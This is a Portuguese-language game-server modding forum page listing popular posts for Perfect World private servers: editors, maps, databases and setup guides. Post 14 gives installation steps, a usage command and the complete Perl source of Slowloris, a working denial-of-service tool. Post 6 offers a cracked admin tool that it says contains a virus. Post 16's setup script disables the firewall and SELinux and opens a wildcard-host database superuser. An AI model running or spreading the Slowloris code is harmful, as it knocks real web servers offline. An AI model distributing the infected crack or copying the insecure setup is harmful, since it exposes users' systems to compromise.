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Conteúdo popular

Mostrando conteúdo com a maior reputação em 03/14/25 in todas as áreas

  1. [Conteúdo Oculto] [Conteúdo Oculto]
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  2. Essa home está 100% pode baixar e usar no seu servidor oficial ou teste! Arquivos incluso: Libs Home Sistema de lojinha off Botões no inventário Proteção OG Pwadmin Para utilizar tudo isso basta baixa o cliente full do meu servidor no site: [Conteúdo Oculto] Segue vídeo tutorial de como configura os arquivos em linux centos 7 no meu canal: Tutorial: Link para download: Clique Aqui
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  3. Estou divulgando aqui publicamente meus projetos , Links: Qualquer erro ou duvida na compilação, manda mensagem (não ensino do 0, pelo menos tenha base de conhecimento no que irá mexer) Se quiserem me chamar para algum projeto, estou à disposição… Em anexo, imagens do pwAdmin em QT C++,
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  4. Site que vendi para um cliente, porém ele não vai mais usar, site todo em HTML editável. Baixe aqui: [Conteúdo Oculto]
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  5. CRIEI UM SISTEMA PARA TRADUZIR AS PASTAS PARA PORTUGUES DE FORMA QUE FIQUE MELHOR O ENTENDIMENTO PARA FAZER AS MODIFICAÇÕES , OBS : PRECISA VER O VIDEO PRA ENTENDER E FAZER USO CORRETO DO PROGRAMA O PROGRAMA FOI FEIO POR MIM > ZADOCK tradutorpcks.zip
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  6. Aviso: Contém Vírus do crack use somente para testes. como instalar? PWAdmin 4.5 ENG.7z
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  7. AUIEditor2.1 Como usar: Locale Emulator: Abra o programa "Locale Emulator" executando o arquivo chamado LEGUI.exe. Altere a localização para Chinês Simplificado. Não se esqueça de salvar as configurações depois de fazer a mudança. Utilize um extractor de PCK para extrair os arquivos do tipo "interface.pck , surface.pck ,config.pck , Coloque os arquivos extraídos nas pastas correspondentes. "configs.pck".= "configs" . Agora, abra o AUIEditor2. Basta clicar com o botão direito do mouse no arquivo executável e selecionar a opção Locale Emulator selecionar a opção para abrir. O meu Chinês Simplificado. esta em (wwww) Animações GFX (Opcional gfx.pck , shaders.pck" para carregar as animações . Coloque os arquivos extraídos nas pastas correspondentes. "gfx.pck".= "gfx". Locale.Emulator.zipAUIEditor (interfaces).rar configs.rar Atalho para AUIEditor2 bat para AUIEditor2+Locale.Emulator .cmd >>1.00<< 2024-03-23 23-01-52.mp4
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  8. Boa tarde, estou trazendo hoje aqui um pacote contendo 50 mapas. para você usar como você quiser, use a sua imaginação… todos os mapas contém as duas partes. tanto cliente-side/server-side. não postei fotos por conta de ser 50 mapas. mas há tempos ele roda na mão de um pessoal, porém ate hoje não disponibilizaram então resolvi trazer para vocês! Link de Download: [Conteúdo Oculto] Link de Download opção 2 : [Conteúdo Oculto] Quem for testando o mapa e quiser postar fotos no comentário será otimo.
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  9. Estou deixando todos os instaladores num unico link, é só escolher qual você precisa e baixar. Conforme eu encontrar mais instaladores eu adiciono na pasta. Todos os clients tem um print da tela inicial, em alguns deles tem o nome da expansão. ADM por favor fechar meus tópicos dos outros instaladores eu agradeço. Diferenças: Client aberto = você não tem como saber se tem arquivos editados. Instalador = client original [Conteúdo Oculto] Se alguém tiver algum instalador que não esteja listado, por favor me envie no privado que eu espelho ele aqui.
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  10. Bom galerinha do suporteGM Presente ai [Conteúdo Oculto] [Conteúdo Oculto] [Conteúdo Oculto]
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  11. Recentemente um usuário do grupo de devs com nick de "Alien" disponibilizou algumas alterações que ele fez em sua src gratuitamente. Então eu estou vindo aqui divulga-las e disponibilizar o arquivo que ele nos enviou pois são simplesmente muito boas! Ps: precisa saber o que está fazendo para poder implementar, eu precisei criar alguns getters para o código funcionar. Prints da minha implementação abaixo: edits.txt
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  12. Simplesmente repostado o conteúdo que já postei na Ragezone Internacional aqui. [Conteúdo Oculto] [Conteúdo Oculto] Créditos eu mesmo. Também inclui um domain de 2 nações. domain2.data
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  13. As vezes preciso e muita das vezes me pedem, segue uma database limpa pw.sql.zip
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  14. Como Usar o Slowloris VERSÕES AFETADAS Este problema impacta vários servidores web, incluindo: Apache (versões 1.x e 2.x) dhttpd GoAhead WebServer Possivelmente outros servidores web Requisitos: sudo apt-get update sudo apt-get install perl sudo apt-get install libwww-mechanize-shell-perl sudo apt-get install perl-mechanize Utilizando ./slowloris.pl perl slowloris.pl -dns 127.0.0.1 -options #!/usr/bin/perl -w use strict; use IO::Socket::INET; use IO::Socket::SSL; use Getopt::Long; use Config; $SIG{'PIPE'} = 'IGNORE'; #Ignore broken pipe errors print <<EOTEXT; Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client by Laera Loris EOTEXT my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections ); my ( $cache, $httpready, $method, $ssl, $rand, $tcpto ); my $result = GetOptions( 'shost=s' => \$shost, 'dns=s' => \$host, 'httpready' => \$httpready, 'num=i' => \$connections, 'cache' => \$cache, 'port=i' => \$port, 'https' => \$ssl, 'tcpto=i' => \$tcpto, 'test' => \$test, 'timeout=i' => \$timeout, 'version' => \$version, ); if ($version) { print "Version 0.7\n"; exit; } unless ($host) { print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n"; print "\n\tType 'perldoc $0' for help with options.\n\n"; exit; } unless ($port) { $port = 80; print "Defaulting to port 80.\n"; } unless ($tcpto) { $tcpto = 5; print "Defaulting to a 5 second tcp connection timeout.\n"; } unless ($test) { unless ($timeout) { $timeout = 100; print "Defaulting to a 100 second re-try timeout.\n"; } unless ($connections) { $connections = 1000; print "Defaulting to 1000 connections.\n"; } } my $usemultithreading = 0; if ( $Config{usethreads} ) { print "Multithreading enabled.\n"; $usemultithreading = 1; use threads; use threads::shared; } else { print "No multithreading capabilites found!\n"; print "Slowloris will be slower than normal as a result.\n"; } my $packetcount : shared = 0; my $failed : shared = 0; my $connectioncount : shared = 0; srand() if ($cache); if ($shost) { $sendhost = $shost; } else { $sendhost = $host; } if ($httpready) { $method = "POST"; } else { $method = "GET"; } if ($test) { my @times = ( "2", "30", "90", "240", "500" ); my $totaltime = 0; foreach (@times) { $totaltime = $totaltime + $_; } $totaltime = $totaltime / 60; print "This test could take up to $totaltime minutes.\n"; my $delay = 0; my $working = 0; my $sock; if ($ssl) { if ( $sock = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } else { if ( $sock = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working = 1; } } if ($working) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "GET /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; if ( print $sock $primarypayload ) { print "Connection successful, now comes the waiting game...\n"; } else { print "That's odd - I connected but couldn't send the data to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } } else { print "Uhm... I can't connect to $host:$port.\n"; print "Is something wrong?\nDying.\n"; exit; } for ( my $i = 0 ; $i <= $#times ; $i++ ) { print "Trying a $times[$i] second delay: \n"; sleep( $times[$i] ); if ( print $sock "X-a: b\r\n" ) { print "\tWorked.\n"; $delay = $times[$i]; } else { if ( $SIG{__WARN__} ) { $delay = $times[ $i - 1 ]; last; } print "\tFailed after $times[$i] seconds.\n"; } } if ( print $sock "Connection: Close\r\n\r\n" ) { print "Okay that's enough time. Slowloris closed the socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } else { print "Remote server closed socket.\n"; print "Use $delay seconds for -timeout.\n"; exit; } if ( $delay < 166 ) { print <<EOSUCKS2BU; Since the timeout ended up being so small ($delay seconds) and it generally takes between 200-500 threads for most servers and assuming any latency at all... you might have trouble using Slowloris against this target. You can tweak the -timeout flag down to less than 10 seconds but it still may not build the sockets in time. EOSUCKS2BU } } else { print "Connecting to $host:$port every $timeout seconds with $connections sockets:\n"; if ($usemultithreading) { domultithreading($connections); } else { doconnections( $connections, $usemultithreading ); } } sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris by llaera =head1 VERSION Version 1.0 Stable =head1 DATE 02/11/2013 =head1 AUTHOR Laera Loris [email protected] =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
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  15. Fala ai galera mais uma tradução de um software do nosso amigo LUKA, tinha feito a principio para uso pessoal e para um amigo a algum tempo e agora resolvi postar essa versão traduzida para vocês. Aproveitem e bom uso. =) OBS: está exportando corretamente até onde eu consegui testar na época que eu comecei a tradução, recompilei para acrescentar algumas alterações. Angelica-Maps-Exporter [PT_BR] é uma ferramenta desenvolvida por Luka, projetada para facilitar a exportação de mapas e arquivos relacionados a jogos como Perfect World, Forsaken World, Loma, Jade Dynasty, ESO e mapas HoT. Exportação de Arquivos e suas Relações: O Angelica-Maps-Exporter [PT_BR] permite exportar todos os arquivos relevantes e suas relações usadas pelos mapas dos jogos mencionados. Isso oferece uma visão completa e detalhada dos elementos necessários para criar, modificar ou entender o funcionamento desses mapas. Geração de Arquivos de Servidor: Com o Angelica-Maps-Exporter [PT_BR], os usuários podem gerar arquivos de servidor essenciais, como .hmap, .sev, .octr, .wmap e .npcgen.data. Esses arquivos são fundamentais para a configuração e operação de servidores dedicados para os jogos suportados. Downgrade e Correção de Arquivos .ecm e .gfx: Uma característica única do Angelica-Maps-Exporter [PT_BR] é sua capacidade de realizar o downgrade de arquivos .ecm e .gfx para compatibilidade com versões mais antigas do Perfect World (PW). Além disso, o software pode corrigir arquivos .ecm e .gfx específicos para garantir seu funcionamento adequado dentro do contexto do PW. Benefícios: Facilidade de Uso: Angelica-Maps-Exporter [PT_BR] é projetado com uma interface intuitiva e amigável, tornando-o acessível tanto para usuários iniciantes quanto experientes. Eficiência no Desenvolvimento: Ao automatizar tarefas de geração de arquivos de servidor e manipulação de arquivos específicos do jogo, Angelica-Maps-Exporter [PT_BR] economiza tempo e esforço, permitindo que os desenvolvedores se concentrem mais na criação e aprimoramento de conteúdo. Compatibilidade: Com suporte para uma variedade de jogos populares, Angelica-Maps-Exporter [PT_BR] oferece uma solução abrangente para desenvolvedores e entusiastas de jogos que trabalham com uma variedade de títulos. Conclusão: Angelica-Maps-Exporter [PT_BR] é uma ferramenta indispensável para qualquer pessoa envolvida no desenvolvimento, modificação ou administração de servidores dedicados para jogos como Perfect World, Forsaken World, Loma, Jade Dynasty, ESO e mapas HoT. Sua capacidade de exportar arquivos, gerar arquivos de servidor e realizar tarefas de downgrade e correção o tornam uma escolha valiosa para a comunidade de jogos online. Screenshots: Angelica-Maps-Exporter [PT_BR].rar
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  16. #!/bin/bash # Cores para as mensagens RED='\033[0;31m' GREEN='\033[0;32m' NC='\033[0m' # No Color print_error() { echo -e "${RED}Erro:${NC} $1" >&2 exit 1 } print_success() { echo -e "${GREEN}Sucesso:${NC} $1" } # Função para gerar senha aleatória generate_password() { tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w "${1:-12}" | head -n 1 } # Mensagem de início echo -e "${GREEN}? Iniciando instalacao...${NC}" # Verificar se está sendo executado como superusuário if [ "$EUID" -ne 0 ]; then echo -e "${RED}Este script precisa de permissões de superusuário para ser executado.${NC}" sudo "$0" "$@" || exit $? exit 0 fi # Instalações básicas echo -e "${GREEN}? Instalando pacotes basicos...${NC}" sudo yum -y install mariadb-server mariadb-libs.i686 httpd epel-release yum-utils cronie-noanacron ca-certificates > /dev/null 2>&1 || { print_error "Falha ao instalar pacotes basicos."; } print_success "Pacotes basicos instalados com sucesso." # Iniciar e habilitar serviços echo -e "${GREEN}? Iniciando e habilitando servicos...${NC}" sudo systemctl start mariadb && sudo systemctl enable mariadb > /dev/null 2>&1 || print_error "Falha ao iniciar e habilitar o MariaDB." sudo systemctl start httpd && sudo systemctl enable httpd > /dev/null 2>&1 || print_error "Falha ao iniciar e habilitar o Apache." print_success "Servicos iniciados e habilitados com sucesso." # Executar a configuracao de seguranca do MySQL echo -e "${GREEN}? Executando configuracao de seguranca do MySQL...${NC}" echo -e "\nn\n$(generate_password)\n$(generate_password)\ny\ny\ny\ny\n" | sudo mysql_secure_installation > /dev/null 2>&1 || print_error "Falha ao executar a configuracao de seguranca do MySQL." print_success "Configuracao de seguranca do MySQL concluida com sucesso." # Criar usuario com permissoes de superusuario no MariaDB echo -e "${GREEN}? Criando usuario com permissoes no MariaDB...${NC}" MYSQL_USER="admin" MYSQL_USER_PASSWORD=$(generate_password) sudo mysql -e "CREATE USER '${MYSQL_USER}'@'%' IDENTIFIED BY '${MYSQL_USER_PASSWORD}';" > /dev/null 2>&1 || print_error "Falha ao criar usuario no MariaDB." sudo mysql -e "GRANT ALL PRIVILEGES ON *.* TO '${MYSQL_USER}'@'%' WITH GRANT OPTION;" > /dev/null 2>&1 || print_error "Falha ao conceder permissoes ao usuario no MariaDB." print_success "Usuario criado com sucesso e permissoes concedidas." # Salvar senha do usuário em um arquivo no diretório raiz echo -e "${GREEN}? Salvando credenciais do MariaDB...${NC}" echo "Usuario: ${MYSQL_USER}" > ~/mysql_user.txt echo "Senha: ${MYSQL_USER_PASSWORD}" >> ~/mysql_user.txt print_success "Credenciais do MariaDB salvas em ~/mysql_user.txt." # Instalar PHP 7.4 e extensoes echo -e "${GREEN}? Instalando PHP 7.4 e extensoes...${NC}" sudo yum -y install [Conteúdo Oculto] > /dev/null 2>&1 || print_error "Falha ao instalar o repositorio Remi." sudo yum-config-manager --enable remi-php74 > /dev/null 2>&1 || print_error "Falha ao ativar o repositorio Remi PHP 7.4." sudo yum -y install php php-common php-opcache php-mcrypt php-cli php-gd php-curl php-mysqlnd php-zip php-devel php-mbstring php-pear php-bcmath php-json > /dev/null 2>&1 || print_error "Falha ao instalar PHP e extensoes." sudo systemctl restart httpd > /dev/null 2>&1 || print_error "Falha ao reiniciar o Apache apos a instalacao do PHP." print_success "PHP 7.4 e extensoes instalados com sucesso." # Instalar Java 1.8 echo -e "${GREEN}? Instalando Java 1.8...${NC}" sudo yum -y install java-1.8.0-openjdk.x86_64 > /dev/null 2>&1 || print_error "Falha ao instalar Java 1.8." print_success "Java 1.8 instalado com sucesso." # Instalar pacotes adicionais echo -e "${GREEN}? Instalando pacotes adicionais...${NC}" sudo yum -y install pcre-devel libstdc++.i686 libstdc++-devel.i686 libxml2-devel libxml2 libstdc++-static compat-libstdc++-33.x86_64 > /dev/null 2>&1 || print_error "Falha ao instalar pacotes adicionais." print_success "Pacotes adicionais instalados com sucesso." # Configurações adicionais echo -e "${GREEN}? Realizando configuracoes adicionais...${NC}" sudo systemctl disable firewalld && sudo systemctl stop firewalld > /dev/null 2>&1 || print_error "Falha ao desativar e parar firewalld." sudo sed -ri 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config > /dev/null 2>&1 || print_error "Falha ao desativar SELinux." print_success "Configuracoes adicionais aplicadas com sucesso." # Atualizar o sistema e instalar pacotes extras echo -e "${GREEN}? Atualizando o sistema e instalando pacotes extras...${NC}" sudo yum -y update > /dev/null 2>&1 || print_error "Falha ao atualizar o sistema." sudo yum -y install mono mc htop curl wget p7zip gdb ipset perl-XML-DOM make gcc gcc-c++ openssl-devel readline-devel > /dev/null 2>&1 || print_error "Falha ao instalar pacotes extras." print_success "Sistema atualizado e pacotes extras instalados com sucesso." # Configurar local echo -e "${GREEN}? Configurando local...${NC}" sudo localectl set-locale LANG=en_US.UTF-8 > /dev/null 2>&1 || print_error "Falha ao configurar o local." print_success "Local configurado com sucesso." # Mensagem de conclusão echo -e "${GREEN}? instalacao concluída com sucesso. As credenciais do MariaDB foram salvas em ~/mysql_user.txt.${NC}" echo -e "${GREEN}Este script foi desenvolvido por [DISCORD master9028].${NC}" installcentos7.sh
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  17. Informações: Versão compatível: 1.5.5v156 Essa lib foi desenvolvida por um amigo e aprimorada por mim, para que pudesse controlar os lances e batalhas de Guerra territoriais. Eu deixei todas as funções o mais didático possível, para que até mesmo leigos possam alterar as funções sem prejudicar a funcionalidade. Todos os comentários que fiz no arquivo script.lua, ajudará você a modificar a ferramenta. Você mesmo pode melhorar as funções como por exemplo, horário de inicio de lances, final e batalha. Você pode modificar para que, cada dia inicie em um horário diferente, basta retornar o valor correto de result. Como exemplo: function BidBeginTime( now ) --Inicio dos Lances -- Constantes local result = BattleManagerLogic(now) local hour = 12 -- Hora de Inicio local minuter = 1 -- Minutos (se for antes de 10 minutos, não coloque 05, coloque apenas 5) -- Variáveis if result == 0 then -- Se for domingo, os lances iniciaram ás 15:10 hour = 15 minuter = 10 end mylogfunc("BidBeginTime: now = "..now) mylogfunc("BidBeginTime: DAY = "..result) return result*DAY + hour*HOUR + minuter*MIN end Vai da imaginação de vocês, isso é apenas um exemplo. Instalação: - Extraia os arquivos nas referentes pastas ( já vai tudo separado ). - Adicione no seu ./start.sh o seguinte código quando iniciar gdeliveryd: cd /PWServer/gdeliveryd; LD_PRELOAD=twman.so ./gdeliveryd gamesys.conf > /PWServer/logs/gdeliveryd.log & - Configure o arquivo script.lua e pronto! Reinicie totalmente o jogo e basta aguardar o horário de inicio para os testes. Obs: Nunca adicione algo dessa forma no servidor de produção, sempre faça testes antes. TwManager.rar
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  19. É um banco de dados mysql global, serve desde 1.2.x até 1.8.x.
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  20. Boa tarde, estou limpando meu computador e vou anexar algumas coisas interessantes que fui fazendo ao longo dos anos para facilitar meu trabalho de desenvolvimento. Essa ferramenta eu usei na minha versão 1.5.5 para trabalhar com mapas. Complementando o tutorial: Além de você conseguir o tamanho correto dos mapas base_region e local_region, você conseguirá unificar os minimaps para usar em ferramentas como: editor de region, precinct, path, npcgen e afins. A ferramenta transforma isso: Em isso: A ferramenta é em python, e não fiz uma interface, você precisa ter o python instalado em seu PC (só dar um google). E instalar a lib pillow: Use alguma dessas opções: Depois basta configurar: Na própria imagem tem as descrilções. Se você perceber cada minimapa (surfaces/minimaps) tem 256x256 pixels, Para saber o tamanho do mapa, você precisará multiplicar 256 pela quantidade de imagens até a borda do mapa, isso você poderá fazer visualmente com base na imagem do ingame. No meu caso no a106 foram 8 horizontal, e 8 na vertical, então ficou 8x256² = 2048x2048, mas se for 512x512 você coloca ali, se for 1024x1024.. assim por diante. Salve e dê o comando usando CMD do windows: ou Pronto, sua imagem estará pronta, dai você conseguirá usar nos programas que informei acima. Basta você configurar como o exemplo que dei acima no arquivo de configuração xml. Nota que o meu mapa está -2000, porque mapas acima de 1024 eu costumo usar 1000, 2000 e afins, para tirar um pouco a borda do mapa. Mas você pode sim usar -2048, porque é o limite do mapa. Baixar a ferramenta: unify.py
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  21. Olá a todos, estou buscando trazer tutoriais de coisas mais complexas, para que desenvolvedores que estão começando a pouco tempo, possa crescer ainda mais seu conhecimento. Vim trazer algo que poucos tem conhecimento e também tiveram curiosidade de saber, sobre mapas e sobre fixação de mapas. Quando eu construi o New History em 2018, eu customizei ele ao máximo e com isso eu aprendi bastante a trabalhar com mapas e me foi despertado muita curiosidade sobre. Hoje trabalhando com as novas versões, eu tive que adicionar na minha build mais de 25 mapas e vim ensinar vocês como adicionar novos mapas no servidor da forma correta (gs.conf). Lembrando, que todo o sistema de exportação e downgrade não precisa ser ensinado, pois há uma ferramenta perfeita para esse trabalho do Steve Langley (Skype: narrowengineer), o AngelicaMapEditor. Só deixando um adendo, a ferramenta não gera npcgen.data, path.sev e arquivos de configuração dos mapas (Sem esses, os mapas não ligam), então recomendo antes de tudo, clonar um existente (Limpo) e adicionar os novos arquivos exportados. Agora vamos para o que interessa! Vou usar como exemplo o mapa:a101 (is101). Você precisará abrir o arquivo instance.txt (element/configs.pck/instance.txt) e gs.conf (PWServer/gamed/gs.conf) Estando com os dois abertos, você irá pesquisar no instance.txt: "a101" Estará mais ou menos assim: ////////////////////////////////////////////////////////////// "北陆-蜃渊雪国遗址" { 91 "a101" // path "loading/a101" // loading background 2,2 // row, column 0 "r0_0-c1_1-l0.cfg" {} 0 } ////////////////////////////////////////////////////////////// Somente disso que precisaremos. Informações que iremos precisar para o servidor: 91 = ID do mapa (tag) “a101” = nome do mapa 2,2 = Row / Colum Sempre bom lembrar que esses valores podem alterar dependendo de qual mapa você irá utilizar, então não se apegue a isso. Agora vamos para o gs.conf Ensinamento básico, se você reparar: São 2 tipos de mapas: world_servers e instance_servers. O que você precisa definir primeiro é isso, se será um mapa aberto (world_servers), ou se será uma dungeon ( quando desmonta o grupo todo mundo é expulso e ela reseta) instance_servers. Bem, escolhendo isso, você irá definir como vamos solicitar esse mapa depois do último mapa definido em world_servers ou instance_servers, ficando assim: world_servers = gs01;/*imagine vários mapas definidos*/;is101; Então você percebeu que vamos chamar nosso mapa de is101, mas você pode colocar qualquer nome (nessa etapa e nas demais definições), exemplos: zd411, ab587, z57… Como você é inteligente e já percebeu, eu defini meu mapa como um mapa aberto, ou seja, um world_server. Agora você vai terminar de configurar seu mapa, no final do arquivo gs.conf. Estarei explicando logo após o código. ;----------------------------------------------------------------------------------------------------- [World_is101] ;-------- Se o seu mapa é um world_servers World_Nome, caso contrário Instance_Nome ----- index = 126 tag = 91 base_path = a101/ limit = allow-root; grid = {80,80,25,-1000.0,-1000.0} base_region = {-1024.0,-1024.0} , {1024,1024.0} local_region = {-1024.0,-1024.0} , {1024,1024.0} cid = 0,2,13 [Terrain_is101] ;-------- Mude o Nome ----- szMapPath = map nAreaWidth = 512 nAreaHeight = 512 nNumAreas = 4 ;----- Normalmente é uma soma de Cols + Rows (Salvo exceções) nNumCols = 2 ;----- Numero de Columns no instance.txt nNumRows = 2 ;----- Numero de Rows no instance.txt vGridSize = 2.0f vHeightMin = 0.0f vHeightMax = 800.0f [MsgReceiverTCP_is101] ;-------- Mude o Nome ----- type = tcp listen_addr = INSTANCE101:12009 ;-------- Caso seja localhost, declare, mas lembre sempre de alterar a porta por exemplo 12010,12011.. ----- so_sndbuf = 16384 so_rcvbuf = 16384 tcp_nodelay = 1 listen_backlog = 10 [MsgReceiverUNIX_is101] ;-------- Mude o Nome ----- type = unix listen_addr = /tmp/gssock_is101 ;-------- Mude o Nome ----- so_sndbuf = 16384 so_rcvbuf = 16384 listen_backlog = 10 ;----------------------------------------------------------------------------------------------------- Bem, essa é a configuração do mapa a101. Tudo dependerá do tamanho do row e da column que pegamos na instance.txt Primeiro de tudo, você terá que adicionar um Index, lembrando, esse valor não pode ser igual outro mapa existente (dará conflito e os dois serão desligados), então use um valor depois do último mapa configurado, lembre-se também, que esse valor não pode passar de 128 (na 1.5.5), caso contrário, os monstros e npcs afundam no mapa. ( Usei 126). você terá que adicionar o id (Tag) para o ID do mapa no instance.txt, se o ID tiver errado (diferente do client), você toma disconnect ao tentar acessar o mapa. ( Usei 91). base_path é o caminho onde está o seu mapa, nesse caso, você altera apenas o nome ( Usei a101/ ). limit são variáveis de liberações do mapa, segue os exemplos em um fórum externo: [Conteúdo Oculto] Grid ( Como definir o valor ): O valor de Grid dependerá do seu Row / Column. Exemplos: Se o mapa for 2 / 2: 80,80,25,-1000,-1000 Se o mapa for 3 / 3 120,120,25,-1500,-1500 Se o mapa for 4 / 4: 160,160,25,-2000.-2000 Os exemplos acima são bem explicativos, caso não entendeu, basicamente: Você vai multiplicar o valor de grid x 25, ele dará o resultado total, ou seja: 80 x 25 = 2000. 2000 / 2 = 1000, então nesse caso: -1000, -1000. 120 x 25 = 3000. 3000 / 2 = 1500, então nesse caso: -1500, -1500. Assim por diante. base_region e local_region, você consegue esse valor através do AngelicaMapEditor. Os demais valores importantes de serem configurados eu deixei comentário no exemplo acima. Em caso de dúvidas fique à vontade em perguntar.
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  22. Abre arquivos .pck até a versão 1.5.5 Créditos : by Jolan PCK_Module_BY_BETO.rar
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  23. pwAdmin~1.rarpwAdmin do Alien com ums fix ServerpwAdmin.rar testado no Debian 12 lembrando a src e do Alien Se estiver com erro quando abrir o pw amd verifique as .data o erro pode esta nelas pequenos fix apenas para evitar o fechamento do ,exe
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  24. Simplismente sensasional, compartilhei no meu site e dei os créditos devidos parabéns: link: [Conteúdo Oculto]
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  25. da uma conferida no readme, agora só não compila quem não tiver vontade
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  26. adicionado link para repositorio correto da source do pwadmin em qt c++: [Conteúdo Oculto]
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  27. Editor de Aipolicy criado pelo Kn1fe e Atualizado para 1.7.6 por mim ele lê e salva aipolicy 172 174 176 source:[Conteúdo Oculto] compilado: AiPolicy Editor 176v40 - Updated by Haly - Release.rar
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  28. coloca essas libs nas pastas lib,lib32 e lib64 e usa esse comando para ligar os mapas LD_PRELOAD=./libtask.so ./gs gs01 >$PW_PATH/logs/gs01.log 2>&1 & LD_PRELOAD=./libtask.so ./gs is61 >$PW_PATH/logs/is61.log 2>&1 & pw172.rar
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  29. Fixador de itens acima da versão 1.5.5 [Conteúdo Oculto]
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  30. Nova atualização v176.1 - Corrigido Leitura do ElementClient X86 - Agora, se você abrir o editor, com o Rae Aberto, o carregamento do elements.data não será necessário. Source Code: [Conteúdo Oculto] NpcGen.v176.1.updated.by.Haly.rar
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  31. O Editor de NPCGen teve uma atualização Adicionado Offsets para 1.7.2 x64 e 1.7.6 x64 Agora o editor tem suporte a API do RAE, para funcionar corretamente, deve estar com o Rody Angelica Editor aberto com o elements carregado. NetFramework 4.8.1 Adicionado o projeto HelperProcess, devido a API do RAE somente estar disponível em x86, para que consiga pegar coordenadas de endereços x64 do elementclient. Compile em x86 para funcionar corretamente com a RAE API. Source Code: [Conteúdo Oculto] Screenshots: NpcGen.v176.updated.by.Haly.rar
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  32. pw-web originalmente feito por tomirons/hulu que foi lançado no ragezone, está abandonado no momento. alguns meses atrás, ele encontrou um erro no qual você não pode instalá-lo devido à indisponibilidade de um pacote, então decidi corrigi-lo para torná-lo utilizável novamente. As instruções sobre como instalar o painel estão no github. [Conteúdo Oculto] pw-web-master.zip
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  34. Baixei pra dar uma olhada e sinceramente tem bastante coisa errada. Primeiro: não está enviando gold, está só gerando log Segundo: $OnlineGM ao invés de retornar apenas o ID do personagem, está retornando também o “chl”. Terceiro: mesmo que a função de enviar gold estivesse correta, não funcionaria pois precisa do ID da conta, e não do personagem.. Quarto: Mesmo que a pessoa configure a quantidade de gold enviada na config.php, o arquivo pw_chatbonus.php não está puxando da config.php, então tem que alterar lá também. Correções básicas, mas que faz com que o script não funcione. Tirando os erros básicos, parabéns por disponibilizar o script. Dá pra fazer bastante coisa, inclusive adicionar envio de correio, deixar pra usar apenas 1x por conta, etc. Segue o arquivo pw_chatbonus.php corrigido: pw_chatbonus.php
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  35. Um script simples que fiz há algumas semanas. É bem básico e usa bootstrap para design. Também está disponível no github se você preferir usar git clone [Conteúdo Oculto] PW-Registration-Script-with-Captcha-main_2.zip
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  36. [Conteúdo Oculto] (17 dec 2023) UPD. Espelho: [Conteúdo Oculto]
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  37. o debug_command_mode = 0 fica no ptemplate.conf certo?
